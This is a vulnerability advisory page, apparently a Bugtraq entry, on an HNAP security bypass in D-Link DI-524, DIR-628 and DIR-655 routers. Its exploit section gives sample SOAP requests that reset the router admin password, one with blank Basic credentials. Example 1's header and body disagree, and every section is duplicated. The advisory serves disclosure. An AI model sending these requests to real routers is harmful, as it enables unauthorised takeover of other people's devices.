D-Link Multiple Routers HNAP Protocol Security Bypass Vulnerability
BID:37690
Info
D-Link Multiple Routers HNAP Protocol Security Bypass Vulnerability
| Bugtraq ID: | 37690 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 09 2010 12:00AM |
| Updated: | Jan 11 2010 05:51PM |
| Credit: | SourceSec Security Research |
| Vulnerable: |
D-Link DIR-655 0 D-Link DIR-628 0 D-Link DI-524 0 |
| Not Vulnerable: | |
Discussion
D-Link Multiple Routers HNAP Protocol Security Bypass Vulnerability
Multiple D-Link routers are prone to a security-bypass vulnerability.
Remote attackers can exploit this issue to bypass security restrictions and access certain administrative functions.
This issue affects the following routers:
DI-524
DIR-628
DIR-655
Multiple D-Link routers are prone to a security-bypass vulnerability.
Remote attackers can exploit this issue to bypass security restrictions and access certain administrative functions.
This issue affects the following routers:
DI-524
DIR-628
DIR-655
Exploit / POC
D-Link Multiple Routers HNAP Protocol Security Bypass Vulnerability
An attacker can exploit this issue by using readily available network utilities.
The following example requests are available:
Example 1:
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1:8099
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings"
ContentÂLength: 453
<?xml version="1.0" encoding="utfÂ8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchemaÂinstance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
<AdminPassword>testing123</AdminPassword>
</SetDeviceSettings>
</soap:Body>
</soap:Envelope>
Example 2:
POST /HNAP1/ HTTP/1.1
Authorization: Basic dXNlcjo=
Host: 192.168.0.1
SOAPAction: "http://purenetworks.com/HNAP1/SetDeviceSettings"
ContentÂLength: 453
<?xml version="1.0" encoding="utfÂ8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchemaÂinstance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
<AdminPassword>testing123</AdminPassword>
</SetDeviceSettings>
</soap:Body>
</soap:Envelope>
An attacker can exploit this issue by using readily available network utilities.
The following example requests are available:
Example 1:
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1:8099
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings"
ContentÂLength: 453
<?xml version="1.0" encoding="utfÂ8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchemaÂinstance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
<AdminPassword>testing123</AdminPassword>
</SetDeviceSettings>
</soap:Body>
</soap:Envelope>
Example 2:
POST /HNAP1/ HTTP/1.1
Authorization: Basic dXNlcjo=
Host: 192.168.0.1
SOAPAction: "http://purenetworks.com/HNAP1/SetDeviceSettings"
ContentÂLength: 453
<?xml version="1.0" encoding="utfÂ8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchemaÂinstance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
<AdminPassword>testing123</AdminPassword>
</SetDeviceSettings>
</soap:Body>
</soap:Envelope>
Solution / Fix
D-Link Multiple Routers HNAP Protocol Security Bypass Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
D-Link Multiple Routers HNAP Protocol Security Bypass Vulnerability
References:
References:
- D-Link Homepage (D-Link)
- Hacking DLink Routers With HNAP (SourceSec)